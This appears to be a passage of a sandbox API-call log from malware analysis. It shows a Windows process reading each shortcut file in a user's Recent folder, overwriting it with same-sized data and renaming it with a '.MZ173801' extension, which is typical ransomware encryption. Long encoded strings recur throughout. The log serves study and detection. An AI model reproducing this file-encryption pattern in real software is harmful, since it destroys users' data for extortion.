NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpu4Mje4zMg_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpu4mje4zmg_.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.006] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.006] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.006] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa4d [0121.006] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.006] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa4d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa4d, lpOverlapped=0x0) returned 1 [0121.014] CloseHandle (hObject=0x288) returned 1 [0121.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpu4Mje4zMg_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpu4mje4zmg_.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.015] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa4d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa4d, lpOverlapped=0x0) returned 1 [0121.016] CloseHandle (hObject=0x288) returned 1 [0121.057] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpu4Mje4zMg_.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpu4mje4zmg_.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpu4Mje4zMg_.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cpu4mje4zmg_.lnk.mz173801")) returned 1 [0121.059] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd1ba40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd1ba40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cqQ5qVHTS.lnk", cAlternateFileName="CQQ5QV~1.LNK")) returned 1 [0121.059] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.059] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cqQ5qVHTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cqq5qvhts.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd1ba40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd1ba40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed)) returned 1 [0121.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cqQ5qVHTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cqq5qvhts.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.063] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.063] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.063] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3ed [0121.063] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.063] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3ed, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3ed, lpOverlapped=0x0) returned 1 [0121.064] CloseHandle (hObject=0x288) returned 1 [0121.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cqQ5qVHTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cqq5qvhts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.065] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3ed, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3ed, lpOverlapped=0x0) returned 1 [0121.066] CloseHandle (hObject=0x288) returned 1 [0121.068] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cqQ5qVHTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cqq5qvhts.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cqQ5qVHTS.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cqq5qvhts.lnk.mz173801")) returned 1 [0121.069] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0121.069] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde763180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="d3lWIeO.lnk", cAlternateFileName="")) returned 1 [0121.069] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.070] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.070] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d3lWIeO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d3lwieo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde763180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1)) returned 1 [0121.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RT